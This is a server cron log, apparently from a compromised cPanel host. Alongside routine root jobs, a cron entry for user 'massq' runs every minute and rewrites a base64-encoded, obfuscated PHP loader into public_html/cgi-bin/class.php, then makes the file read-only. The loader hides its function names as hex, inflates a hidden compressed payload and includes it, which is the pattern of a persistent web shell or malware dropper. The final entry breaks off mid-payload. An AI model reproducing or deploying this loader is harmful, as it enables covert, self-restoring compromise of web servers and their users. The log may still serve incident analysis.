Apr  6 09:06:01 server CROND[6021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:07:01 server CROND[6098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:08:01 server CROND[6187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:09:01 server CROND[6269]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 09:09:01 server CROND[6270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:10:01 server CROND[6349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:10:01 server CROND[6350]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 09:10:01 server CROND[6351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:10:01 server CROND[6352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:11:01 server CROND[6574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:12:01 server CROND[6688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:12:01 server CROND[6689]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 09:13:01 server CROND[6764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:14:01 server CROND[6830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:15:01 server CROND[6900]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:15:01 server CROND[6901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:15:01 server CROND[6902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:16:01 server CROND[7140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:17:02 server CROND[7230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:18:01 server CROND[7317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:19:01 server CROND[7389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y